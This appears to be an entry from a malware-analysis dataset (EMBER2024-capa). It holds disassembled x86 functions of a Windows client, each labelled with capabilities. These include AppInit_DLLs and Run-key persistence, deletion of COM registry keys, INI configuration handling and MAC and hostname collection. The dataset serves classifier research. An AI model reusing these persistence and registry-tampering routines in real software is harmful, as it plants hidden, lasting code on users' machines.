joyce8/EMBER2024-capa huggingface dataset:
Function at 0x4018f0
Capabilities:
Check os version

Disassembly:
sub esp, 0x98
push ebx
push ebp
push esi
push edi
mov edi, 0x431a78
or ecx, 0xffffffff
xor eax, eax
xor ebx, ebx
xor ebp, ebp
mov dword [esp + 0x10], ebx
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov eax, ecx
mov esi, edi
mov edi, 0x431678
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
xor eax, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov ecx, 0x25
lea edi, [esp + 0x14]
rep stosd dword es:[edi], eax
lea ecx, [esp + 0x14]
mov dword [esp + 0x14], 0x94
push ecx
call dword [sym.imp.KERNEL32.dll_GetVersionExA]
cmp dword [esp + 0x24], 2
jne 0x401967
call section..text
test eax, eax
jne 0x401989
call fcn.004016a0
test eax, eax
jne 0x401989
call fcn.00401300
jmp 0x401989
xor esi, esi
mov eax, dword [esp + 0x10]
test eax, eax
jne 0x401989
mov al, byte [0x431678]
test al, al
jne 0x401990
call fcn.00401590
inc esi
mov dword [esp + 0x10], eax
cmp esi, 0xa
jl 0x401969
mov al, byte [0x431678]
test al, al
jle 0x401ac5
mov esi, 0x431678
push 4
push str.WD_W
push esi
call fcn.00412880
add esp, 0xc
test eax, eax
jne 0x4019b4
mov esi, 0x43167d
test esi, esi
je 0x401ac5
mov al, byte [esi]
test al, al
je 0x401ac5
cmp al, 0x2d
je case.0x4019ec.48
push 0
push 0xa
push ebx
push ebp
call fcn.004128c0
mov ebp, eax
mov ebx, edx
movsx eax, byte [esi]
add eax, 0xffffffd0
cmp eax, 0x4a
ja case.0x4019ec.48
jmp dword [eax*4 + 0x401ad4]
add ebp, 1
jmp 0x401abb
add ebp, 2
jmp 0x401abb
add ebp, 3
jmp 0x401abb
add ebp, 4
jmp 0x401abb
add ebp, 5
jmp 0x401abb
add ebp, 6
jmp 0x401abb
add ebp, 7
jmp 0x401abb
add ebp, 8
jmp 0x401abb
add ebp, 9
jmp 0x401abb
add ebp, 0xa
jmp 0x401abb
add ebp, 0xb
jmp 0x401abb
add ebp, 0xc
jmp 0x401abb
add ebp, 0xd
jmp 0x401abb
add ebp, 0xe
jmp 0x401abb
add ebp, 0xf
jmp 0x401abb
add ebp, 0x10
jmp 0x401abb
add ebp, 0x11
jmp 0x401abb
add ebp, 0x12
jmp 0x401abb
add ebp, 0x13
jmp 0x401abb
add ebp, 0x14
jmp 0x401abb
add ebp, 0x15
jmp 0x401abb
add ebp, 0x16
jmp 0x401abb
add ebp, 0x17
jmp 0x401abb
add ebp, 0x18
jmp 0x401abb
add ebp, 0x19
jmp 0x401abb
add ebp, 0x1a
jmp 0x401abb
add ebp, 0x1b
jmp 0x401abb
add ebp, 0x1c
jmp 0x401abb
add ebp, 0x1d
jmp 0x401abb
add ebp, 0x1e
jmp 0x401abb
add ebp, 0x1f
jmp 0x401abb
add ebp, 0x20
jmp 0x401abb
add ebp, 0x21
jmp 0x401abb
add ebp, 0x22
jmp 0x401abb
add ebp, 0x23
adc ebx, 0
inc esi
jne 0x4019bc
pop edi
mov eax, ebp
pop esi
mov edx, ebx
pop ebp
pop ebx
add esp, 0x98
ret
Function at 0x401c00
Capabilities:
Access peb ldr_data
Read .ini file

Disassembly:
push 0xffffffffffffffff
push 0x424dd0
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x10
mov eax, dword [0x42d740]
push esi
push edi
mov dword [esp + 0x14], eax
push str..jjmClient.ini
push 0x4321d4
lea ecx, [esp + 0x1c]
push 0x42b170
push ecx
mov dword [esp + 0x30], 0
call fcn.0041e13f
mov edx, dword [0x42d740]
mov dword [esp + 0x20], edx
push str..jjmClient.iniTime
push 0x4321d4
lea eax, [esp + 0x28]
push 0x42b170
push eax
mov byte [esp + 0x40], 1
call fcn.0041e13f
mov eax, dword [0x42d740]
add esp, 0x20
mov dword [esp + 0xc], eax
mov dword [esp + 8], eax
push str.RULETOTOAL
lea ecx, [esp + 0x10]
mov byte [esp + 0x24], 3
call fcn.0041eb8a
lea ecx, [esp + 8]
call fcn.0041e9d8
push str.PwdKeyTime
lea ecx, [esp + 0xc]
call fcn.0041eb8a
mov ecx, dword [esp + 0x10]
mov edx, dword [esp + 8]
mov eax, dword [esp + 0xc]
mov edi, dword [0x431c60]
push ecx
push 0
push edx
push eax
call dword [sym.imp.KERNEL32.dll_GetPrivateProfileIntA]
mov esi, eax
mov byte [esp + 0x20], 2
test esi, esi
lea ecx, [esp + 8]
jg 0x401d17
call fcn.0041ea4d
lea ecx, [esp + 0xc]
mov byte [esp + 0x20], 1
call fcn.0041ea4d
lea ecx, [esp + 0x10]
mov byte [esp + 0x20], 0
call fcn.0041ea4d
lea ecx, [esp + 0x14]
mov dword [esp + 0x20], 0xffffffff
call fcn.0041ea4d
mov eax, edi
pop edi
pop esi
mov ecx, dword [esp + 0x10]
mov dword fs:[0], ecx
add esp, 0x1c
ret
call fcn.0041ea4d
lea ecx, [esp + 0xc]
mov byte [esp + 0x20], 1
call fcn.0041ea4d
lea ecx, [esp + 0x10]
mov byte [esp + 0x20], 0
call fcn.0041ea4d
lea ecx, [esp + 0x14]
mov dword [esp + 0x20], 0xffffffff
call fcn.0041ea4d
mov ecx, dword [esp + 0x18]
mov eax, esi
pop edi
pop esi
mov dword fs:[0], ecx
add esp, 0x1c
ret
Function at 0x401d60
Capabilities:
Access peb ldr_data

Disassembly:
push 0xffffffffffffffff
push 0x424e10
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x18
push str.begin_ini
call fcn.00402960
mov eax, dword [0x42d740]
mov dword [esp + 8], eax
push str..jjmClient.ini
push 0x4321d4
lea ecx, [esp + 0x10]
push 0x42b170
push ecx
mov dword [esp + 0x34], 0
call fcn.0041e13f
mov eax, dword [0x42d740]
mov dword [esp + 0x1c], eax
mov dword [esp + 0x14], eax
mov dword [esp + 0x28], eax
push str.._sp3_bak.ini
push 0x4321d4
lea edx, [esp + 0x30]
push 0x42b170
push edx
mov byte [esp + 0x44], 3
call fcn.0041e13f
mov eax, dword [0x42d740]
add esp, 0x24
mov dword [esp + 0x10], eax
mov dword [esp + 0xc], eax
lea ecx, [esp + 0x10]
mov byte [esp + 0x20], 5
call fcn.0041e9d8
push str.Scope
lea ecx, [esp + 0x14]
call fcn.0041eb8a
lea ecx, [esp + 0xc]
call fcn.0041e9d8
push str.Hook
lea ecx, [esp + 0x10]
call fcn.0041eb8a
push str.RULETOTOAL
lea ecx, [esp + 0xc]
call fcn.0041eb8a
lea ecx, [esp]
call fcn.0041e9d8
push str.PwdKeyRes
lea ecx, [esp + 4]
call fcn.0041eb8a
mov eax, dword [0x431c64]
test eax, eax
je 0x401efd
push 0x1f40
call dword [sym.imp.KERNEL32.dll_Sleep]
lea ecx, [esp + 4]
call fcn.0041e9d8
push str..jjmClient.inichange
push 0x4321d4
lea eax, [esp + 0xc]
push 0x42b170
push eax
call fcn.0041e13f
add esp, 0x10
lea ecx, [esp + 8]
push str.FLAG
call fcn.0041eb8a
lea ecx, [esp]
call fcn.0041e9d8
push str.FlagValue
lea ecx, [esp + 4]
call fcn.0041eb8a
mov eax, dword [0x42bdc4]
test eax, eax
jle 0x401ed5
push 0
push eax
call fcn.00407ba0
mov ecx, dword [esp + 0xc]
mov edx, dword [esp + 8]
mov eax, dword [esp + 0x10]
add esp, 8
push ecx
push str.012321536109435342
push edx
push eax
call dword [sym.imp.KERNEL32.dll_WritePrivateProfileStringA]
jmp 0x401efd
mov ecx, dword [esp + 4]
mov edx, dword [esp]
mov eax, dword [esp + 8]
push ecx
push str.012321536109435342
push edx
push eax
call dword [sym.imp.KERNEL32.dll_WritePrivateProfileStringA]
mov eax, dword [0x431b1c]
test eax, eax
jne 0x401efd
call fcn.00404c50
push str.end_ini
call fcn.00402960
add esp, 4
lea ecx, [esp + 0xc]
mov byte [esp + 0x20], 4
call fcn.0041ea4d
lea ecx, [esp + 0x10]
mov byte [esp + 0x20], 3
call fcn.0041ea4d
lea ecx, [esp + 0x14]
mov byte [esp + 0x20], 2
call fcn.0041ea4d
lea ecx, [esp]
mov byte [esp + 0x20], 1
call fcn.0041ea4d
lea ecx, [esp + 8]
mov byte [esp + 0x20], 0
call fcn.0041ea4d
lea ecx, [esp + 4]
mov dword [esp + 0x20], 0xffffffff
call fcn.0041ea4d
mov ecx, dword [esp + 0x18]
mov eax, 1
mov dword fs:[0], ecx
add esp, 0x24
ret
Function at 0x4021b0
Capabilities:
Create thread
Delete registry key
Get common file path

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x424e20
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x108
push ebx
push esi
mov esi, dword [sym.imp.SHLWAPI.dll_SHDeleteKeyA]
push edi
mov dword [ebp - 0x10], esp
push str.CLSID381D3AD2_D54F_4715_8086_F6733E8B1F5AInprocServer32
push closesocket
call esi
push str.CLSIDD65EF633_2CBD_4FF5_9CD2_9A530FB6864DInprocServer32
push closesocket
call esi
push str.CLSID7189444C_67E3_4833_91DF_ED7DCFB0BC08InprocServer32
push closesocket
call esi
push str.CLSIDD34E7F18_0B37_4F64_A78A_577EF6A6F905InprocServer32
push closesocket
call esi
mov ebx, dword [sym.imp.KERNEL32.dll_Sleep]
call fcn.004029d0
test eax, eax
jge 0x40223c
push 0x42b380
call fcn.00402960
add esp, 4
push 0x3e8
call ebx
push 0x42b36c
call fcn.00402960
add esp, 4
jmp 0x402210
push 0x42b35c
call fcn.00402960
push str.begin
mov dword [ebp - 4], 0
call fcn.00402960
add esp, 8
mov esi, 1
push esi
call dword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
push eax
call dword [0x432320]
add esp, 8
jmp 0x402290
mov ecx, 0x151
xor eax, eax
mov edi, 0x431c50
push 0x431c50
rep stosd dword es:[edi], eax
mov dword [ebp - 4], 0xffffffff
call fcn.004048c0
add esp, 4
cmp eax, esi
jne 0x4022be
mov dword [0x432488], esi
jmp 0x4022fb
mov ecx, 0x151
xor eax, eax
mov edi, 0x431c50
push 0x431c50
rep stosd dword es:[edi], eax
mov dword [0x431c74], esi
mov dword [0x431c5c], esi
mov dword [0x431c6c], esi
mov dword [0x431c68], esi
mov dword [0x431c78], 2
call fcn.00404a40
add esp, 4
mov ecx, 0x40
xor eax, eax
lea edi, [ebp - 0x113]
mov byte [ebp - 0x114], 0
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
lea eax, [ebp - 0x114]
push 0x104
push eax
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryA]
mov edi, str.kz.21ec2020_3aea_1069_a2dd_08002b30309djjmClient.ini
or ecx, 0xffffffff
xor eax, eax
lea edx, [ebp - 0x114]
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
push 0x431c28
mov esi, edi
mov edi, edx
mov edx, ecx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
mov ecx, edx
dec edi
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov ecx, 9
mov edi, 0x431c28
rep stosd dword es:[edi], eax
lea eax, [ebp - 0x114]
push eax
call fcn.00406910
push 0x42b2e0
call fcn.00402960
call fcn.00402d10
push 0x42b2d4
call fcn.00402960
add esp, 0x10
mov esi, dword [sym.imp.KERNEL32.dll_CreateThread]
push 0x4321b8
push 0
push 0
push 0x401f80
push 0
push 0
call esi
push 0x1388
mov dword [0x4321b4], eax
call ebx
call fcn.00401d60
push 0x4321cc
push 0
push 0
push 0x403060
push 0
push 0
call esi
push 0x4321c0
push 0
push 0
push 0x402f10
push 0
push 0
mov dword [0x4321c4], eax
call esi
mov ecx, dword [ebp - 0xc]
pop edi
pop esi
mov dword [0x4321bc], eax
mov dword fs:[0], ecx
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x4024f0
Capabilities:
Check os version

Disassembly:
sub esp, 0x94
push ebx
push esi
push edi
mov edi, str.UnKnow
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
mov ebx, dword [esp + 0xa4]
mov dword [esp + 0xc], 0x94
not ecx
sub edi, ecx
mov eax, ecx
mov esi, edi
mov edi, ebx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
lea ecx, [esp + 0xc]
push ecx
call dword [sym.imp.KERNEL32.dll_GetVersionExA]
test eax, eax
jne 0x402543
pop edi
pop esi
pop ebx
add esp, 0x94
ret
mov eax, dword [esp + 0x1c]
sub eax, 0
je 0x402681
dec eax
je 0x402608
dec eax
jne 0x4026a3
mov eax, dword [esp + 0x10]
cmp eax, 3
ja 0x402571
mov edi, str.Windows_NT3.51
jmp 0x402686
cmp eax, 4
jne 0x4025a7
mov edi, str.Windows_NT4.0
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov eax, ecx
mov esi, edi
mov edi, ebx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
mov eax, 1
and ecx, 3
rep movsb byte es:[edi], byte [esi]
pop edi
pop esi
pop ebx
add esp, 0x94
ret
cmp eax, 5
jne 0x4026a3
mov eax, dword [esp + 0x14]
test eax, eax
jne 0x4025c2
mov edi, str.Windows_2000
jmp 0x402686
cmp eax, 1
jne 0x4025f8
mov edi, str.Windows_XP
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov eax, ecx
mov esi, edi
mov edi, ebx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
mov eax, 1
and ecx, 3
rep movsb byte es:[edi], byte [esi]
pop edi
pop esi
pop ebx
add esp, 0x94
ret
cmp eax, 2
jne 0x4026a3
mov edi, str.Windows_Server_2003_family
jmp 0x402686
mov eax, dword [esp + 0x14]
test eax, eax
jne 0x40263f
mov edi, str.Windows_95
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov eax, ecx
mov esi, edi
mov edi, ebx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
mov eax, 1
and ecx, 3
rep movsb byte es:[edi], byte [esi]
pop edi
pop esi
pop ebx
add esp, 0x94
ret
cmp eax, 0xa
jne 0x40264b
mov edi, str.Windows_98
jmp 0x402686
cmp eax, 0x5a
jne 0x4026a3
mov edi, str.Windows_Me
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov eax, ecx
mov esi, edi
mov edi, ebx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
mov eax, 1
and ecx, 3
rep movsb byte es:[edi], byte [esi]
pop edi
pop esi
pop ebx
add esp, 0x94
ret
mov edi, str.Win32s
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov edx, ecx
mov esi, edi
mov edi, ebx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
and ecx, 3
rep movsb byte es:[edi], byte [esi]
pop edi
pop esi
mov eax, 1
pop ebx
add esp, 0x94
ret
Function at 0x4028d0
Capabilities:
Get hostname
Initialize winsock library
Resolve dns

Disassembly:
sub esp, 0x190
lea eax, [esp]
push esi
push eax
push 0x101
call dword [sym.imp.WS2_32.dll_WSAStartup]
mov esi, dword [esp + 0x19c]
push 0x40
push esi
call dword [sym.imp.WS2_32.dll_gethostname]
test eax, eax
je 0x402905
xor eax, eax
pop esi
add esp, 0x190
ret
push edi
push esi
call dword [sym.imp.WS2_32.dll_gethostbyname]
mov ecx, dword [eax + 0xc]
mov edx, dword [ecx]
mov eax, dword [edx]
push eax
call dword [sym.imp.WS2_32.dll_inet_ntoa]
mov edi, eax
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov edx, ecx
mov esi, edi
mov edi, dword [esp + 0x19c]
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
and ecx, 3
rep movsb byte es:[edi], byte [esi]
call dword [sym.imp.WS2_32.dll_WSACleanup]
pop edi
mov eax, 1
pop esi
add esp, 0x190
ret

Function at 0x402960
Capabilities:
Print debug messages

Disassembly:
sub esp, 0x800
or ecx, 0xffffffff
xor eax, eax
lea edx, [esp]
push esi
push edi
mov edi, str._client_
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov eax, ecx
mov esi, edi
mov edi, edx
mov edx, dword [esp + 0x80c]
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
xor eax, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
lea ecx, [esp + 0x810]
lea edi, [esp + 8]
push ecx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
not ecx
dec ecx
push edx
lea eax, [esp + ecx + 0x10]
push eax
call fcn.00412e67
add esp, 0xc
lea ecx, [esp + 8]
push ecx
call dword [sym.imp.KERNEL32.dll_OutputDebugStringA]
pop edi
pop esi
add esp, 0x800
ret
Function at 0x402e20
Capabilities:
Persist via appinit_dlls registry key
Set registry value

Disassembly:
sub esp, 0x204
push ebx
push str.KeyProtected
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateMutexA]
mov ebx, eax
test ebx, ebx
jne 0x402e61
push str.c:Error.log
push str.Error
push str.CreateMutex
push str.CreateMutex
call dword [sym.imp.KERNEL32.dll_WritePrivateProfileStringA]
or eax, 0xffffffff
pop ebx
add esp, 0x204
ret
push edi
push 0x3e8
call dword [sym.imp.KERNEL32.dll_Sleep]
mov ecx, 0x7f
xor eax, eax
lea edi, [esp + 0xd]
mov byte [esp + 0xc], 0
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
lea eax, [esp + 8]
push eax
push 0x2001f
push 0
push str.SOFTWAREMicrosoftWindows_NTCurrentVersionWindows
push closesocket
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x402eef
mov edi, str.sp3_bak.dll
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
push esi
lea edx, [esp + 0x10]
mov eax, ecx
mov esi, edi
mov edi, edx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
xor eax, eax
and ecx, 3
mov edx, dword [esp + 0xc]
rep movsb byte es:[edi], byte [esi]
lea edi, [esp + 0x10]
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
not ecx
dec ecx
push ecx
lea ecx, [esp + 0x14]
push ecx
push 1
push eax
push str.AppInit_DLLs
push edx
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
pop esi
mov eax, dword [esp + 8]
push eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
push ebx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
pop edi
xor eax, eax
pop ebx
add esp, 0x204
ret
Function at 0x403300
Capabilities:
Delete file

Disassembly:
sub esp, 0x114
push esi
push 0x42b898
call fcn.00402960
add esp, 4
lea eax, [esp + 4]
push eax
call dword [sym.imp.KERNEL32.dll_GetLocalTime]
mov eax, dword [esp + 4]
mov edx, dword [esp + 6]
and eax, 0xffff
and edx, 0xffff
lea eax, [eax + eax*4]
lea ecx, [eax + eax*4]
lea eax, [edx + ecx*4]
mov ecx, dword [esp + 0xa]
and ecx, 0xffff
lea eax, [eax + eax*4]
lea eax, [eax + eax*4]
lea esi, [ecx + eax*4]
lea eax, [esi + esi*4]
lea edx, [eax + eax*4]
mov eax, dword [esp + 0xc]
and eax, 0xffff
lea ecx, [eax + edx*4]
mov edx, dword [0x431b14]
mov eax, dword [0x431b10]
push edx
push eax
push 0x42b884
mov dword [0x42b13c], ecx
call fcn.00402960
mov eax, dword [0x42b13c]
mov ecx, dword [0x4322f8]
add esp, 0xc
cmp eax, ecx
jl 0x4033dc
mov dword [0x4322f8], eax
mov eax, dword [0x431b10]
cmp esi, eax
jl 0x4033be
cmp esi, dword [0x431b14]
jg 0x4033be
push 0x42b86c
call fcn.00402960
add esp, 4
xor eax, eax
pop esi
add esp, 0x114
ret 4
push 0x42b85c
call fcn.00402960
add esp, 4
call fcn.00403980
xor eax, eax
pop esi
add esp, 0x114
ret 4
push edi
push 0x42b848
call fcn.00402960
mov ecx, 0x40
xor eax, eax
lea edi, [esp + 0x1d]
mov byte [esp + 0x1c], 0
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
push 0x4321d4
lea ecx, [esp + 0x20]
push str._sperfz011.dat
push ecx
stosb byte es:[edi], al
call fcn.0041269a
add esp, 0x10
lea edx, [esp + 0x18]
push edx
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
test eax, eax
pop edi
jne 0x403429
call dword [sym.imp.KERNEL32.dll_GetLastError]
call fcn.004034e0
call fcn.00403980
xor eax, eax
pop esi
add esp, 0x114
ret 4

Function at 0x4034e0
Capabilities:
Set registry value

Disassembly:
sub esp, 8
lea eax, [esp]
push 0
push eax
push 0
push 0x2001f
push 0
push str.REG_DWORD
push 0
push str.SOFTWAREMicrosoftWindowsCurrentVersionTbLimit
push closesocket
mov dword [esp + 0x28], 1
call dword [sym.imp.ADVAPI32.dll_RegCreateKeyExA]
test eax, eax
jne 0x40353b
mov edx, dword [esp]
lea ecx, [esp + 4]
push 4
push ecx
push 4
push eax
push str.TimeCheck
push edx
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
mov eax, dword [esp]
push eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
add esp, 8
ret

Function at 0x403540
Capabilities:
Delete registry key

Disassembly:
push ecx
xor eax, eax
mov dword [0x4322f4], eax
mov dword [0x4322f8], eax
lea eax, [esp]
push eax
push str.SOFTWAREMicrosoftWindowsCurrentVersion
push closesocket
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyA]
test eax, eax
jne 0x403581
mov ecx, dword [esp]
push str.TbLimit
push ecx
call dword [sym.imp.SHLWAPI.dll_SHDeleteKeyA]
mov edx, dword [esp]
push edx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
pop ecx
ret
Function at 0x403bb0
Capabilities:
Get mac address on windows

Disassembly:
mov eax, 0x2818
call fcn.00412750
xor eax, eax
push esi
mov dword [esp + 5], eax
lea ecx, [esp + 0x18]
mov dword [esp + 9], eax
push edi
mov dword [esp + 0x11], eax
lea edx, [esp + 0x20]
mov dword [esp + 0x15], eax
push ecx
mov word [esp + 0x1d], ax
push edx
mov byte [esp + 0x10], 0
mov byte [esp + 0x23], al
mov dword [esp + 0x24], 0x2800
call sub.iphlpapi.dll_GetAdaptersInfo
test eax, eax
jne 0x403d41
mov eax, dword [esp + 0x1b9]
mov ecx, dword [esp + 0x1b8]
mov edx, dword [esp + 0x1b7]
and eax, 0xff
and ecx, 0xff
push eax
mov eax, dword [esp + 0x1ba]
and edx, 0xff
push ecx
mov ecx, dword [esp + 0x1bd]
push edx
mov edx, dword [esp + 0x1c0]
and eax, 0xff
and ecx, 0xff
push eax
and edx, 0xff
push ecx
push edx
lea eax, [esp + 0x20]
push str._02X__02X__02X__02X__02X__02X
push eax
lea esi, [esp + 0x40]
call fcn.0041269a
push 0x42b9c8
call fcn.00402960
lea ecx, [esp + 0x2c]
push ecx
call fcn.00402960
mov edi, dword [esp + 0x284c]
lea edx, [esp + 0x30]
push edx
push edi
call fcn.0041abf0
add esp, 0x30
test eax, eax
je 0x403d02
mov esi, dword [esi]
test esi, esi
je 0x403d41
xor eax, eax
xor ecx, ecx
mov al, byte [esi + 0x199]
mov cl, byte [esi + 0x198]
xor edx, edx
push eax
mov dl, byte [esi + 0x197]
push ecx
xor eax, eax
push edx
mov al, byte [esi + 0x196]
xor ecx, ecx
mov cl, byte [esi + 0x195]
xor edx, edx
mov dl, byte [esi + 0x194]
push eax
push ecx
push edx
lea eax, [esp + 0x20]
push str._02X__02X__02X__02X__02X__02X
push eax
call fcn.0041269a
push 0x42b9c8
call fcn.00402960
lea ecx, [esp + 0x2c]
push ecx
call fcn.00402960
lea edx, [esp + 0x30]
push edx
push edi
call fcn.0041abf0
add esp, 0x30
test eax, eax
jne 0x403c8d
push 0x42b9bc
call fcn.00402960
lea edi, [esp + 0xc]
or ecx, 0xffffffff
xor eax, eax
add esp, 4
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov eax, ecx
mov esi, edi
mov edi, 0x431aac
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
mov eax, 1
and ecx, 3
rep movsb byte es:[edi], byte [esi]
pop edi
pop esi
add esp, 0x2818
ret
pop edi
xor eax, eax
pop esi
add esp, 0x2818
ret
Function at 0x403ff0
Capabilities:
Persist via run registry key
Query or enumerate registry value

Disassembly:
sub esp, 0x110
push esi
push edi
mov ecx, 0x40
xor eax, eax
lea edi, [esp + 0x15]
mov byte [esp + 0x14], 0
rep stosd dword es:[edi], eax
mov esi, dword [esp + 0x11c]
mov dword [esp + 0x10], 0
stosw word es:[edi], ax
stosb byte es:[edi], al
lea eax, [esp + 8]
mov dword [esp + 0xc], 0x104
push eax
push str.SOFTWAREMicrosoftWindowsCurrentVersionRun
push closesocket
mov dword [esi], 1
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyA]
test eax, eax
je 0x404049
mov dword [esi], 0
lea ecx, [esp + 0xc]
lea edx, [esp + 0x14]
push ecx
mov ecx, dword [esp + 0xc]
lea eax, [esp + 0x14]
push edx
push eax
push 0
push str.jjmclient
push ecx
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
test eax, eax
jne 0x40408e
lea edx, [esp + 0x14]
push edx
call fcn.00412f70
lea eax, [esp + 0x18]
push str.jjmclient.exe
push eax
call fcn.00412ef0
add esp, 0xc
test eax, eax
jne 0x404094
mov dword [esi], 0
mov ecx, dword [esp + 8]
push ecx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
lea edi, [esp + 0x14]
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
dec ecx
jne 0x4040b1
mov dword [esi], eax
mov eax, dword [esi]
pop edi
cmp eax, 1
pop esi
je 0x4040c7
mov ecx, dword [esp + 0x118]
test ecx, ecx
je 0x4040c7
xor eax, eax
add esp, 0x110
ret
Function at 0x4040d0
Capabilities:
Persist via appinit_dlls registry key
Query or enumerate registry value
Set registry value

Disassembly:
sub esp, 0x218
push ebp
push esi
push edi
mov ecx, 0x40
xor eax, eax
lea edi, [esp + 0x121]
mov byte [esp + 0x120], 0
mov esi, dword [esp + 0x228]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
lea eax, [esp + 0xc]
mov dword [esp + 0x10], 0
push eax
push str.SOFTWAREMicrosoftWindows_NTCurrentVersionWindows
push closesocket
mov dword [esp + 0x20], 0x104
mov dword [esi], 1
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyA]
test eax, eax
je 0x404130
mov dword [esi], 0
lea ecx, [esp + 0x14]
lea edx, [esp + 0x120]
push ecx
mov ecx, dword [esp + 0x10]
lea eax, [esp + 0x14]
push edx
push eax
push 0
push str.AppInit_DLLs
push ecx
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
test eax, eax
je 0x40415e
mov dword [esi], 0
mov edx, dword [esp + 0xc]
mov ebp, dword [sym.imp.ADVAPI32.dll_RegCloseKey]
push edx
call ebp
lea eax, [esp + 0x120]
push str.sp3_bak.dll
push eax
call fcn.00412ef0
add esp, 8
test eax, eax
jne 0x404186
mov dword [esi], eax
mov eax, dword [esi]
cmp eax, 1
je 0x40424e
mov ecx, dword [esp + 0x22c]
test ecx, ecx
je 0x40424e
mov ecx, 0x40
xor eax, eax
lea edi, [esp + 0x1d]
mov byte [esp + 0x1c], 0
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
mov edi, str.sp3_bak.dll_jjmprotect.dll
or ecx, 0xffffffff
xor eax, eax
lea edx, [esp + 0x1c]
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov eax, ecx
mov esi, edi
mov edi, edx
lea edx, [esp + 0xc]
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
lea ecx, [esp + 0x18]
push ecx
push edx
push 0
push 0x2001f
push 0
push 0
push 0
push str.SOFTWAREMicrosoftWindows_NTCurrentVersionWindows
push closesocket
call dword [sym.imp.ADVAPI32.dll_RegCreateKeyExA]
test eax, eax
jne 0x40424c
lea edi, [esp + 0x1c]
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
not ecx
lea eax, [esp + 0x1c]
push ecx
mov ecx, dword [esp + 0x10]
push eax
push 1
push 0
push str.AppInit_DLLs
push ecx
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
test eax, eax
jne 0x404245
mov edx, dword [esp + 0xc]
push edx
call ebp
pop edi
pop esi
mov eax, 1
pop ebp
add esp, 0x218
ret
mov eax, dword [esp + 0xc]
push eax
call ebp
xor eax, eax
pop edi
pop esi
pop ebp
add esp, 0x218
ret